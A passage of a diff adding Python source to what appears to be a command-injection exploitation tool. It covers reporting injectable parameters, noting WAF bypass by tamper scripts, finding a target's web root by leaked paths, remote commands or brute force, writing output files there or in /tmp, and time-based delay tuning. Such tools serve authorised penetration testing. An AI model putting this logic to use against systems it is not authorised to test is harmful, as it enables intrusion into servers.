+ settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
+ if menu.options.threads is None:
+ menu.options.threads = 1
+
+"""
+Check for wrong flags
+"""
+def check_wrong_flags():
+ if settings.TARGET_OS == settings.OS.WINDOWS:
+ if menu.options.is_root :
+ warn_msg = "Identified the target as Windows. Switching "
+ warn_msg += "'--is-root' to '--is-admin'."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+ if menu.options.passwords:
+ warn_msg = "The '--passwords' switch is not yet supported on Windows targets."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+ else:
+ if menu.options.is_admin :
+ warn_msg = "Identified the target as Unix-like. Switching "
+ warn_msg += "'--is-admin' to '--is-root'. "
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+
+"""
+Set writable path name
+"""
+def setting_writable_dir(path):
+ if settings.VERBOSITY_LEVEL != 0:
+ info_msg = "Attempting to create a file in directory '" + path
+ info_msg += "' for execution output. "
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+ elif not settings.WRITABLE_DIR_ATTEMPT_SAID:
+ settings.WRITABLE_DIR_ATTEMPT_SAID = True
+ where = settings.WEB_ROOT_CATEGORY_LABEL or "a writable directory"
+ info_msg = "Attempting to create a file in " + where + " for execution output."
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+
+"""
+Define python working dir (for windows targets)
+"""
+def define_py_working_dir():
+ if settings.TARGET_OS == settings.OS.WINDOWS and menu.options.interpreter:
+ while True:
+ message = "Do you want to use '" + settings.WIN_PYTHON_INTERPRETER
+ message += "' as default Python interpreter on the target host? [Y/n] "
+ python_dir = common.read_input(message, default="Y", check_batch=True)
+ if python_dir in settings.CHOICE_YES:
+ break
+ elif python_dir in settings.CHOICE_NO:
+ message = "Please specify the full path to the Python interpreter executable (e.g. '"
+ message += settings.WIN_CUSTOM_PYTHON_INTERPRETER + "') "
+ custom_interpreter = common.read_input(message, default=settings.WIN_CUSTOM_PYTHON_INTERPRETER, check_batch=True)
+ # A blank answer keeps the interpreter already in use, which the payloads concatenate as a string.
+ if custom_interpreter and custom_interpreter.strip():
+ settings.WIN_PYTHON_INTERPRETER = custom_interpreter.strip()
+ break
+ else:
+ common.invalid_option(python_dir)
+ pass
+ settings.USER_DEFINED_PYTHON_DIR = True
+
+"""
+Checks for identified vulnerable parameter
+"""
+def identified_vulnerable_param(url, technique, injection_type, vuln_parameter, payload, http_request_method, filename, counter, title=None):
+ # Check injection state
+ settings.DETECTION_PHASE = False
+ settings.EXPLOITATION_PHASE = True
+ if settings.COOKIE_INJECTION is True:
+ header_name = settings.SINGLE_WHITESPACE + settings.COOKIE
+ found_vuln_parameter = vuln_parameter
+ the_type = " parameter"
+
+ elif settings.USER_AGENT_INJECTION is True:
+ header_name = settings.SINGLE_WHITESPACE + settings.USER_AGENT
+ found_vuln_parameter = ""
+ the_type = " HTTP header"
+
+ elif settings.REFERER_INJECTION is True:
+ header_name = settings.SINGLE_WHITESPACE + settings.REFERER
+ found_vuln_parameter = ""
+ the_type = " HTTP header"
+
+ elif settings.HOST_INJECTION is True:
+ header_name = settings.SINGLE_WHITESPACE + settings.HOST
+ found_vuln_parameter = ""
+ the_type = " HTTP header"
+
+ elif settings.CUSTOM_HEADER_INJECTION is True:
+ header_name = settings.SINGLE_WHITESPACE + settings.CUSTOM_HEADER_NAME
+ found_vuln_parameter = ""
+ the_type = " HTTP header"
+
+ else:
+ header_name = ""
+ the_type = " parameter"
+ # Check if defined POST data
+ if not settings.USER_DEFINED_POST_DATA or settings.IGNORE_USER_DEFINED_POST_DATA:
+ found_vuln_parameter = parameters.vuln_GET_param(url)
+ else :
+ found_vuln_parameter = vuln_parameter
+
+ if len(found_vuln_parameter) != 0 :
+ found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"
+
+ announce_vulnerable_finding(filename, injection_type, technique, the_type, header_name, http_request_method, vuln_parameter, payload, counter, title=title)
+
+"""
+Drop the "command injection"/"injection" filler word from a technique name, for the terse
+inline "appears to be injectable via ..." message - the stored/summary form keeps it.
+"""
+def short_technique_label(technique):
+ return technique_display_name(technique).replace("command injection ", "").replace("injection ", "")
+
+"""
+Full label of a technique, with the sink it reached - "results-based classic command injection technique".
+"""
+def technique_label(injection_type, technique):
+ name = short_technique_label(technique)
+ if name.endswith(" technique"):
+ name = name[:-len(" technique")]
+ # The channel belongs with the technique's own name, ahead of the injection type.
+ if technique == settings.INJECTION_TECHNIQUE.OOB and oob_channel_label():
+ name += " (" + oob_channel_label() + ")"
+ # The technique leads, because it says how the result came back; the type names only the sink.
+ return name + settings.SINGLE_WHITESPACE + injection_type + " technique"
+
+"""
+Display name of a technique - a "/tmp/" output file is a file-based mechanism, not its own technique.
+"""
+def technique_display_name(technique):
+ if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED:
+ return settings.INJECTION_TECHNIQUE.FILE_BASED
+ # Reaching an evaluation sink is not a technique of its own - it is the results-based one aimed
+ # at different code, and the injection type is what says which sink was reached.
+ if technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE:
+ return settings.INJECTION_TECHNIQUE.RESULTS_BASED
+ return technique
+
+"""
+Record a newly-identified injectable finding to the log file and terminal - the shared tail of identified_vulnerable_param() above, reusable by modules (see shellshock.py) with their own header_name/the_type.
+"""
+def announce_vulnerable_finding(filename, injection_type, technique, the_type, header_name, http_request_method, vuln_parameter, payload, counter, type_prefix="", decode_payload=True, title=None):
+ # A Cookie finding is still sent over a real GET/POST on the wire - 'http_request_method' is that
+ # verb, not what to call the finding. Only a plain GET/POST parameter has no 'header_name' of its
+ # own and is left to that verb; a header finding already took the branch above.
+ if "header" in the_type.lower():
+ display_method = "HTTP Header"
+ elif header_name.strip():
+ display_method = header_name.strip()
+ else:
+ display_method = http_request_method
+ logs.add_finding(filename, injection_type, technique, display_method, vuln_parameter, payload, title)
+
+ if not settings.LOAD_SESSION:
+ if settings.VERBOSITY_LEVEL == 0:
+ settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
+
+ # Said first where this is the finding that gets a blocked run past its WAF/IPS, so the two read
+ # as cause then effect rather than the bypass note trailing behind the finding it explains.
+ if settings.WAF_ENABLED and settings.WAF_EVASION_APPLIED and not settings.WAF_BYPASS_CONFIRMED:
+ settings.WAF_BYPASS_CONFIRMED = True
+ info_msg = "Bypassed the WAF/IPS by using the '" + settings.WAF_EVASION_APPLIED.replace(",", "', '") + "' tamper scripts."
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+
+ info_msg = settings.CHECKING_PARAMETER + " appears to be injectable via " + type_prefix + technique_label(injection_type, technique)
+ oracle_hint = boolean_oracle_hint(technique)
+ info_msg += (" (with " + oracle_hint + ")" if oracle_hint else "") + "."
+ settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg))
+ """
+ Said where a shell answered the same parameter that an evaluated sink was just confirmed on.
+
+ The command substitution an evaluated payload reaches the system through - backticks, '$()' - is
+ read the same way by a shell, so a target that evaluates nothing at all still runs it and still
+ writes the file or waits the delay the technique was looking for. The finding is real either way;
+ which of the two it is, this cannot tell apart, and reported as code injection on its own it names
+ the wrong one for a sink that only ever reached '/bin/sh'.
+
+ Said only where nothing identified an interpreter: a sink that answered the language's own probe,
+ or complained in its own words, has evidence of evaluating for itself, and a shell reachable from
+ inside it is what an evaluated payload is expected to reach - not a reason to doubt the finding.
+ """
+ if menu.options.eval_sink and settings.IDENTIFIED_COMMAND_INJECTION and not settings.EVAL_OVER_SHELL_SAID \
+ and not (settings.IDENTIFIED_EVAL_PROBE or settings.IDENTIFIED_WARNINGS):
+ settings.EVAL_OVER_SHELL_SAID = True
+ warn_msg = "A command shell answered this parameter as well, and the payload's own command "
+ warn_msg += "substitution is read the same way by one - so this may be command injection rather "
+ warn_msg += "than code injection. Re-run without '--eval' to tell them apart."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+ announce_leftover_file(technique)
+ decoded_payload = str(url_decode(payload)) if decode_payload else payload
+ # Reported as the request proved it, which is after every script that rewrites a payload's text.
+ decoded_payload = payload_as_sent(decoded_payload)
+ if not settings.LOAD_SESSION:
+ settings.CONFIRMED_INJECTION_POINTS.append((technique, injection_type, vuln_parameter, payload_with_own_value(decoded_payload), display_method, settings.TOTAL_OF_REQUESTS, title))
+
+"""
+Whether the output file still answers on its URL. Only the file-based technique has one to ask, so
+anything else is reported as unconfirmed rather than guessed at.
+"""
+def output_file_still_served():
+ if not settings.DEFINED_WEBROOT:
+ return False
+ from src.core.requests import requests
+ """
+ Asked as a request of its own, because what it is looking for is the answer every other request
+ is warned about: a file that has been deleted is not found, and a '404' here is the delete having
+ taken rather than the target interfering with anything.
+ """
+ settings.set_side_request("file_check", True)
+ try:
+ request = _urllib.request.Request(settings.DEFINED_WEBROOT)
+ headers.do_check(request)
+ response = requests.get_request_response(request)
+ return bool(response) and not isinstance(response, bool)
+ except Exception:
+ return False
+ finally:
+ settings.set_side_request("file_check", False)
+
+"""
+Name the file this technique leaves in the target's document root, and the URL it answers on - it is
+written there to carry the command output and is not removed on its own.
+"""
+def announce_leftover_file(technique):
+ if technique != settings.INJECTION_TECHNIQUE.FILE_BASED or not settings.DEFINED_WEBROOT:
+ return
+ # The name it was written under, which a URL serving it through a script does not carry.
+ written = settings.WEB_ROOT + (settings.CUSTOM_FILENAME or settings.DEFINED_WEBROOT.split("/")[-1])
+ if written not in settings.LEFTOVER_FILES:
+ settings.LEFTOVER_FILES.append(written)
+
+"""
+Drop a file from the leftovers, once it has actually been taken off the target - otherwise the run
+ends by naming a file it has just removed.
+"""
+def forget_leftover_file(name):
+ for left in list(settings.LEFTOVER_FILES):
+ if left == name or left.endswith("/" + name) or left.endswith("\\" + name):
+ settings.LEFTOVER_FILES.remove(left)
+
+"""
+Finalize injection process
+"""
+def finalize(exit_loops, no_result, i, total, injection_type, technique, shell):
+ if exit_loops is False:
+ if settings.VERBOSITY_LEVEL == 0:
+ # Finished means a shell was found, or every combination was tried without one.
+ done = bool(shell) or (no_result and total and i >= total)
+ injection_process(injection_type, technique, done=done, i=i, total=total)
+ return True
+ else:
+ return False
+
+"""
+Whether a directory path belongs to the operating system currently in use - a root worked out for
+one is not a path on the other, and offering it leads to a write that cannot land.
+"""
+def web_root_matches_os(path):
+ if not path:
+ return True
+ looks_windows = bool(re.match(r"\A[A-Za-z]:[\\/]", path))
+ return looks_windows == (settings.TARGET_OS == settings.OS.WINDOWS)
+
+"""
+Normalize a directory path for the target OS
+"""
+def normalize_target_dir(path):
+ if not path:
+ return path
+ if settings.TARGET_OS == settings.OS.WINDOWS:
+ path = path.replace("/", "\\")
+ if not path.endswith("\\"):
+ path += "\\"
+ else:
+ path = path.replace("\\", "/")
+ if not path.endswith("/"):
+ path += "/"
+ return path
+
+"""
+The directory-named-by-the-target-host candidates a brute-force search tries each prefix under -
+'www.example.com' also tries 'example.com', the way a vhost is as likely to be named one as the
+other; a bare IP or single-label host (no '.' to drop a label from) tries only itself.
+"""
+def brute_force_target_names():
+ host = settings.TARGET_URL or ""
+ if not host:
+ return set()
+ labels = host.split(".")
+ names = {host}
+ # A bare IP has no label to drop - '192.168.0' names no host the address does.
+ if re.match(r"\A\d{1,3}(?:\.\d{1,3}){3}\Z", host):
+ return names
+ if labels[0] == "www":
+ names.add(".".join(labels[1:]))
+ names.add(".".join(labels[1:-1]))
+ else:
+ names.add(".".join(labels[:-1]))
+ names.discard("")
+ return names
+
+"""
+Every prefix/suffix combination worth trying blind - '--web-root'(interactive)'s 4th menu choice -
+target name substituted in where a prefix asks for one, nearest (most likely) first.
+"""
+def brute_force_web_roots():
+ sep = "\\" if settings.TARGET_OS == settings.OS.WINDOWS else "/"
+ prefixes = settings.BRUTE_DOC_ROOT_PREFIXES.get(settings.TARGET_OS, settings.BRUTE_DOC_ROOT_PREFIXES[settings.OS.UNIX])
+ names = brute_force_target_names()
+ candidates = []
+ for prefix in prefixes:
+ resolved = [prefix.replace(settings.DOC_ROOT_TARGET_MARK, name) for name in names] if settings.DOC_ROOT_TARGET_MARK in prefix else [prefix]
+ for base in resolved:
+ for suffix in settings.BRUTE_DOC_ROOT_SUFFIXES:
+ item = (base + sep + suffix) if suffix else base
+ if item not in candidates:
+ candidates.append(item)
+
+ info_msg = "Using generated directory list: " + ", ".join(candidates)
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+
+ message = "Use any additional custom directories? [Enter for none] "
+ extra = common.read_input(message, default="", check_batch=True)
+ if extra:
+ candidates.extend(path.strip() for path in extra.split(",") if path.strip())
+ return candidates
+
+"""
+Resolve a numbered-menu answer: '--answers' is matched against the full question text - every
+option's own words, not just the bare prompt actually shown - so that an answer can be written
+against any part of what was asked, while what the operator sees stays the short, single-line,
+readline-safe prompt handed in as 'prompt'.
+"""
+def resolve_menu_choice(full_text, prompt, default):
+ if settings.ANSWERS and any(_ in settings.ANSWERS for _ in ",="):
+ for item in settings.ANSWERS.split(','):
+ question = item.split('=', 1)[0].strip()
+ answer = item.split('=', 1)[1] if '=' in item else None
+ if answer and question.lower() in full_text.lower():
+ settings.print_data_to_stdout(settings.print_message(prompt + str(answer)))
+ return answer
+ return common.read_input(prompt, default=default, check_batch=True)
+
+"""
+The directory-choice menu offered once a usable web root could not be worked out on its own - the
+same four choices every time: a short list of common locations, directories named by hand, a file
+listing them, or a brute-force sweep of likely ones - returning however many candidates that choice
+produced, nearest (most likely) first.
+"""
+def choose_web_root_candidates():
+ """
+ Asked once and held for the target.
+
+ A retry that applies a tamper script does need the candidates walked again - what a filtered pass
+ gave up on says nothing about how the same directories answer a payload shaped differently. The
+ operator's answer is not part of that: which directories to try is a fact about the target, not
+ about the payload that happened to reach them, and asking for it again on every pass makes the
+ same question look unanswered.
+ """
+ if settings.WEB_ROOT_CHOICE is None:
+ candidates = _ask_web_root_candidates()
+ settings.WEB_ROOT_CHOICE = (list(candidates), settings.WEB_ROOT_CATEGORY_LABEL)
+ candidates, settings.WEB_ROOT_CATEGORY_LABEL = settings.WEB_ROOT_CHOICE
+ return list(candidates)
+
+# The menu itself, asked on behalf of the function above and only while it has no answer yet.
+def _ask_web_root_candidates():
+ if settings.TARGET_OS == settings.OS.WINDOWS:
+ common_roots = list(settings.WINDOWS_DEFAULT_DOC_ROOTS)
+ else:
+ common_roots = [root.replace(settings.DOC_ROOT_TARGET_MARK, settings.TARGET_URL) for root in settings.LINUX_DEFAULT_DOC_ROOTS]
+
+ # The server's banner may have already guessed one - worth leading with, not worth trusting
+ # silently, since a guess is wrong often enough that the menu still belongs in front of it.
+ if settings.WEB_ROOT_IS_GUESS and settings.WEB_ROOT and settings.WEB_ROOT not in common_roots:
+ common_roots.insert(0, settings.WEB_ROOT)
+
+ # The full list is what gets tried - only a short preview of it is worth putting on one line,
+ # or the line wraps wherever the terminal happens to be narrow enough to break it.
+ preview = "'" + "', '".join(common_roots[:3]) + "'"
+ if len(common_roots) > 3:
+ preview += ", ..., " + str(len(common_roots)) + " total"
+ # Printed, not folded into the input() prompt below - a prompt with embedded newlines is a
+ # known readline weak spot (cursor/width tracking assumes one line), and corrupts on redraw in
+ # some terminals. Plain prints have no such tracking to get wrong.
+ question = "What do you want to use for the writable directory?"
+ options = (
+ "[1] Common location(s) (" + preview + ") (default)",
+ "[2] Custom location(s)",
+ "[3] Custom directory list file",
+ "[4] Brute force search",
+ )
+ settings.print_data_to_stdout(Style.BRIGHT + question + Style.RESET_ALL)
+ for option in options:
+ settings.print_data_to_stdout(Style.BRIGHT + option + Style.RESET_ALL)
+ # '--answers' is matched against the full text above, every option's own words included, while
+ # the prompt actually shown stays the bare "> " a rendered multi-line question leaves behind.
+ choice = resolve_menu_choice(question + " " + " ".join(options), "> ", "1")
+
+ if choice == "2":
+ settings.WEB_ROOT_CATEGORY_LABEL = "custom location(s)"
+ message = "Please provide a comma separated list of absolute directory paths"
+ given = common.read_input(message, default="", check_batch=True)
+ paths = [path.strip() for path in given.split(",") if path.strip()]
+ return paths or common_roots
+
+ if choice == "3":
+ settings.WEB_ROOT_CATEGORY_LABEL = "directory list file"
+ message = "What's the list file location? "
+ list_path = common.read_input(message, default="", check_batch=True)
+ try:
+ return common.load_list_from_file(list_path, "directory list")
+ except SystemExit:
+ return common_roots
+
+ if choice == "4":
+ settings.WEB_ROOT_CATEGORY_LABEL = "brute-forced directory list"
+ return brute_force_web_roots()
+
+ settings.WEB_ROOT_CATEGORY_LABEL = "common location(s)"
+ return common_roots
+
+"""
+What the URL puts between the document root and the script it names - the script's own name dropped,
+since a directory URL has none and one that names a script is not part of the directory it sits in.
+
+Both routes below cut a root with this, one off a path the target leaked and one off the directory
+it says it runs in, so it is worked out the same way for either rather than twice over.
+"""
+def url_path_below_web_root(url):
+ return re.sub(r"/[^/]*\Z", "", _urllib.parse.urlparse(url).path or "").rstrip("/")
+
+"""
+Try to work out the web root from an absolute file path the target has already leaked somewhere
+in its own output - a PHP warning naming the script's own path is the most common way - checked
+before ever asking the operator, since an answer the target gave itself beats one guessed at. A match
+is cut right after whichever generic document-root name (or the target's own hostname) it carries,
+the same as the directory the target is actually using is named.
+"""
+def web_root_from_leaked_path(url):
+ try:
+ parsed = _urllib.parse.urlparse(url)
+ response = get_response(parsed.scheme + "://" + parsed.netloc + "/")
+ if response is None or isinstance(response, bool):
+ return None
+ body = decode_page_body(response.read(), response)
+ except Exception:
+ return None
+
+ markers = ["/" + name + "/" for name in settings.GENERIC_DOC_ROOT_DIRECTORY_NAMES]
+ if parsed.hostname:
+ markers.append("/" + parsed.hostname + "/")
+ below = url_path_below_web_root(url)
+
+ for match in re.finditer(settings.DIRECTORY_REGEX, body or ""):
+ path = match.group(0)
+ # A leaked path is written the target's own way - a drive letter and backslashes on Windows.
+ # Read in one spelling and handed back in the other, so what is returned is a path that the target
+ # would recognise.
+ native_separator = "\\" if "\\" in path else "/"
+ drive = ""
+ if re.match(r"\A[A-Za-z]:", path):
+ drive, path = path[:2], path[2:]
+ path = path.replace("\\", "/")
+ for marker in markers:
+ if marker in path:
+ return (drive + path.split(marker)[0] + marker).replace("/", native_separator)
+ # No document-root name in it and not the host's own: what the URL asked for is still on the
+ # end of it, and taking that off leaves the root, the same way the script's own directory does.
+ # Matched at the end rather than anywhere in it - a path merely carrying those names somewhere
+ # in the middle says nothing about where the root is, and one starting with them cuts to "/".
+ directory = re.sub(r"/[^/]*\Z", "", path)
+ if below and directory.endswith(below) and len(directory) > len(below):
+ return (drive + directory[:len(directory) - len(below)] + "/").replace("/", native_separator)
+
+ return None
+
+"""
+Ask the target where it is serving from, rather than reading it off a list of the usual places.
+
+Where a technique whose output comes back is already confirmed, the directory the script runs in is
+one command away, and the URL says how far under the document root that script sits - so the root is
+what is left of the one with the other taken off its end. An answer the target gave about itself is
+worth more than a candidate, the same as a leaked path is above; this one is asked for rather than
+waited for. Where the two do not line up - an alias, a rewrite, a script reached by a path it is not
+stored under - nothing is returned and the candidates are walked exactly as before.
+"""
+def web_root_from_target_cwd(url):
+ probe = settings.WEB_ROOT_PROBE
+ if probe is None or not url:
+ return None
+ cmd = settings.WIN_CURRENT_DIRECTORY if settings.TARGET_OS == settings.OS.WINDOWS else settings.CURRENT_DIRECTORY
+ # Asked in the state it was armed in. The time-based technique runs between the two and leaves its
+ # own flag standing, and the answer to this one is read off the page, not timed - left set, the
+ # read is the time-related one and comes back empty however well the command itself ran.
+ time_related = settings.TIME_RELATED_ATTACK
+ try:
+ settings.TIME_RELATED_ATTACK = False
+ answer = probe(cmd)
+ except Exception:
+ return None
+ finally:
+ settings.TIME_RELATED_ATTACK = time_related
+ # Asked once and then spent. A root worked out from here empties the candidate list, so a write
+ # failing on it comes back through this - and an answer that was wrong the first time is wrong
+ # again, which would leave the same root being offered for as long as it keeps failing. Spent,
+ # the second pass falls through to the leaked path and the menu, as it would have without this.
+ settings.WEB_ROOT_PROBE = None
+ lines = [line.strip() for line in str(answer or "").splitlines() if line.strip()]
+ cwd = lines[0] if lines else ""
+ # A shell that could not run it answers with its own error rather than a path.
+ if not re.match(r"\A([A-Za-z]:)?[\\/]", cwd):
+ return None
+ native_separator = "\\" if "\\" in cwd else "/"
+ cwd = cwd.replace("\\", "/").rstrip("/")
+ below = url_path_below_web_root(url)
+ if below and not cwd.endswith(below):
+ return None
+ root = cwd[:len(cwd) - len(below)] if below else cwd
+ if not root:
+ return None
+ return (root + "/").replace("/", native_separator)
+
+"""
+Provide custom server's root directory
+"""
+def custom_web_root(url, timesec, filename, http_request_method, url_time_response):
+ if not settings.CUSTOM_WEB_ROOT:
+ # Prefer an already auto-detected root over asking - but only a genuinely confirmed one (never
+ # a banner guess, which belongs in the menu instead), and only its one, first turn, or a write
+ # failure on it would keep "preferring" the very path that just failed instead of moving on.
+ if not settings.WEB_ROOT_SETTLED_ONCE and settings.WEB_ROOT and not settings.WEB_ROOT_IS_GUESS and web_root_matches_os(settings.WEB_ROOT):
+ settings.WEB_ROOT_CANDIDATES = []
+ elif settings.WEB_ROOT_CANDIDATES:
+ # A previous choice already built a list - a write failure moves to the next untried
+ # candidate instead of asking the same question over again.
+ settings.WEB_ROOT = settings.WEB_ROOT_CANDIDATES.pop(0)
+ if settings.VERBOSITY_LEVEL != 0:
+ info_msg = "Trying '" + settings.WEB_ROOT + "' instead."
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+ else:
+ # Asked of the target first, where a confirmed technique can carry the question: what it
+ # answers about itself settles the root outright, and a leaked path only happens to be there.
+ retrieved = web_root_from_target_cwd(url) or (web_root_from_leaked_path(url) if url else None)
+ if retrieved:
+ info_msg = "Retrieved the web server document root: '" + retrieved + "'."
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+ settings.WEB_ROOT = retrieved
+ settings.WEB_ROOT_CANDIDATES = []
+ else:
+ # Said where the menu below is about to be put, not on every pass that walks the same
+ # candidates again: it is the reason for that question, and repeating it without the
+ # question reads as the root having failed to be worked out a second and a third time.
+ if settings.WEB_ROOT_CHOICE is None:
+ warn_msg = "Unable to automatically retrieve the web server document root."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+ candidates = choose_web_root_candidates()
+ settings.WEB_ROOT = candidates[0] if candidates else (settings.WINDOWS_DEFAULT_DOC_ROOTS[0] if settings.TARGET_OS == settings.OS.WINDOWS else settings.LINUX_DEFAULT_DOC_ROOTS[0])
+ settings.WEB_ROOT_CANDIDATES = candidates[1:]
+ settings.WEB_ROOT_SETTLED_ONCE = True
+ settings.CUSTOM_WEB_ROOT = True
+
+ if not settings.LOAD_SESSION:
+ path = settings.WEB_ROOT
+ setting_writable_dir(path)
+ menu.options.web_root = settings.WEB_ROOT.strip()
+
+
+"""
+TEMP path for a Windows or Unix-like target, without touching WEB_ROOT or prompting.
+"""
+def default_tmp_path():
+ if settings.TARGET_OS == settings.OS.WINDOWS:
+ if "microsoft-iis" in settings.SERVER_BANNER.lower():
+ settings.TMP_PATH = "C:\\Windows\\TEMP\\"
+ else:
+ settings.TMP_PATH = "%temp%\\"
+ else:
+ settings.TMP_PATH = "/tmp/"
+ return normalize_target_dir(menu.options.tmp_path or settings.TMP_PATH)
+
+"""
+Return TEMP path for a Windows or Unix-like target.
+"""
+def check_tmp_path(url, timesec, filename, http_request_method, url_time_response):
+ tmp_path = default_tmp_path()
+
+ if not settings.LOAD_SESSION and settings.DEFAULT_WEB_ROOT != settings.WEB_ROOT:
+ settings.WEB_ROOT = settings.DEFAULT_WEB_ROOT
+
+ settings.CALL_TMP_BASED = False
+ if menu.options.file_dest and '/tmp/' in menu.options.file_dest:
+ settings.CALL_TMP_BASED = True
+
+ if menu.options.web_root:
+ settings.WEB_ROOT = menu.options.web_root
+ else:
+ # Provide custom server's root directory.
+ custom_web_root(url, timesec, filename, http_request_method, url_time_response)
+
+ settings.WEB_ROOT = normalize_target_dir(settings.WEB_ROOT)
+ menu.options.web_root = settings.WEB_ROOT
+
+ return tmp_path
+
+"""
+Check if file-based technique has failed,
+then use the "/tmp/" directory for tempfile-based technique.
+"""
+def tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response):
+ if no_result is True:
+ from src.core.techniques.tempfile_based import tfb_handler
+ path = tmp_path
+ setting_writable_dir(path)
+ # Nothing said where it hands back: the sweep that carries on announces itself as it continues,
+ # and saying so twice over reads as two techniques where there is one.
+ return tfb_handler.exploitation(url, timesec, filename, tmp_path, http_request_method, url_time_response)
+ else:
+ settings.print_data_to_stdout(settings.END_LINE.CR)
+
+"""
+Fit what has been resolved so far onto the single line the progress display keeps rewriting.
+"""
+def progress_display_text(chars, furthest, total):
+ if furthest == 0:
+ return ""
+ if menu.options.no_truncate:
+ return "".join(chars[:furthest])
+ width = settings.PROGRESS_DISPLAY_WIDTH
+ start = max(1, furthest - width + 1)
+ text = "".join(chars[start - 1:furthest])
+ if start > 1:
+ text = ".." + text[2:]
+ if furthest - start + 1 == width and furthest < total:
+ text = text[:-2] + ".."
+ return text
+
+"""
+Check if to use the "/tmp/" directory for tempfile-based technique.
+"""
+def use_temp_folder(no_result, url, timesec, filename, http_request_method, url_time_response):
+ """
+ Asked once for the run, not once per web root that failed.
+
+ Another directory to try is what brings this round again, and the question it asks is about the
+ temporary directory rather than about the one just tried - so the answer already given covers it,
+ and asking a second time reads as a second obstacle where there is one.
+ """
+ if settings.TEMP_FOLDER_CHOICE is False:
+ return False
+ tmp_path = check_tmp_path(url, timesec, filename, http_request_method, url_time_response)
+ while True:
+ # Named individually only at '-v' above 0 - at default verbosity, every path already tried
+ # was never named either, so the last one alone would not mean anything on its own.
+ if settings.VERBOSITY_LEVEL != 0 or not settings.WEB_ROOT_CATEGORY_LABEL:
+ where = "'" + settings.WEB_ROOT + "'"
+ else:
+ where = "any " + settings.WEB_ROOT_CATEGORY_LABEL + " directory"
+ message = "Unable to write to " + where + ". "
+ message += "Do you want to use '" + tmp_path + "' instead? [Y/n] "
+ tmp_upload = settings.CHOICE_YES[0] if settings.TEMP_FOLDER_CHOICE else \
+ common.read_input(message, default="Y", check_batch=True)
+ if tmp_upload in settings.CHOICE_YES:
+ settings.TEMP_FOLDER_CHOICE = True
+ settings.TEMPFILE_BASED_STATE = True
+ call_tfb = tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response)
+ if call_tfb is not False:
+ return True
+ else:
+ if no_result is True:
+ return False
+ else:
+ return True
+ elif tmp_upload in settings.CHOICE_NO:
+ settings.TEMP_FOLDER_CHOICE = False
+ break
+ elif tmp_upload in settings.CHOICE_QUIT:
+ settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
+ # Asked for from inside the handling of a failed request, a bare 're-raise' handed that
+ # request's own error back up instead of quitting, which is not what was answered.
+ raise SystemExit()
+ else:
+ common.invalid_option(tmp_upload)
+ pass
+ # continue
+
+"""
+Adjusts the timesec delay
+"""
+def min_safe_timesec():
+ # Scale the floor by confirmed instability.
+ if settings.UNSTABLE_REQUEST_CHOICE:
+ min_safe_delay = settings.MIN_SAFE_TIMESEC_UNSTABLE + settings.UNSTABLE_REQUEST_BUMPS
+ else:
+ min_safe_delay = settings.MIN_SAFE_TIMESEC
+ if settings.URL_TIME_RESPONSE:
+ min_safe_delay = max(min_safe_delay, settings.URL_TIME_RESPONSE + settings.TIME_DELAY_STEP * 2)
+ return min_safe_delay
+
+"""
+Adjusts the timesec delay
+"""
+def time_related_timesec():
+ min_safe_delay = min_safe_timesec()
+ if settings.TIME_RELATED_ATTACK and settings.TIMESEC < min_safe_delay:
+ if min_safe_delay != settings.REPORTED_MIN_SAFE_TIMESEC:
+ settings.REPORTED_MIN_SAFE_TIMESEC = min_safe_delay
+ msg = "Adjusting '--time-sec' to minimum safe delay of " + str(min_safe_delay) + " second" + ("s" if min_safe_delay > 1 else "") + ". In case of inconsistencies, it will be auto-increased."
+ # A value the user chose is not overridden quietly, whatever the verbosity.
+ if settings.USER_APPLIED_TIMESEC:
+ settings.print_data_to_stdout(settings.print_warning_msg(msg))
+ elif settings.VERBOSITY_LEVEL != 0:
+ settings.print_data_to_stdout(settings.print_debug_msg(msg))
+ return min_safe_delay
+ else:
+ return max(settings.TIMESEC, min_safe_delay)
+
+"""
+Export the time related injection results
+"""
+def time_related_export_injection_results(cmd, separator, output, check_exec_time):
+ if settings.VERBOSITY_LEVEL == 0:
+ settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
+ if output != "" and check_exec_time != 0 :
+ info_msg = "Finished in " + time.strftime('%H:%M:%S', time.gmtime(check_exec_time)) + "."
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+ else:
+ # Could be separator filtration on target host, or simply an invalid/wrong command.
+ if output is not False :
+ err_msg = "The '" + cmd + "' command did not return any output. This could be due to "
+ err_msg += "'" + separator + "' filtration on the target host, or the command itself "
+ err_msg += "being invalid."
+ if not menu.options.interpreter:
+ err_msg += " If you are confident it is valid, try the '--interpreter' option or another injection technique."
+ else:
+ err_msg += " If you are confident it is valid, try another injection technique."
+ settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
+ # Check for invalid provided command.
+ else:
+ err_msg = common.invalid_cmd_output(cmd)
+ settings.print_data_to_stdout(settings.print_error_msg(err_msg))
+ if menu.options.abort_on_empty:
+ raise SystemExit(settings.EXIT_FAILURE)
+
+"""
+Success msg.
+"""
+def shell_success(option):
+ info_msg = "Sending selected payload to the target."
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+
+"""
+Error msg if the attack vector is available only for Windows targets.
+"""
+def windows_only_attack_vector():
+ error_msg = "This attack vector is available only for Windows targets."
+ settings.print_data_to_stdout(settings.print_error_msg(error_msg))
+
+"""
+The operator a Windows payload starts with, or None when the separator does not chain commands in
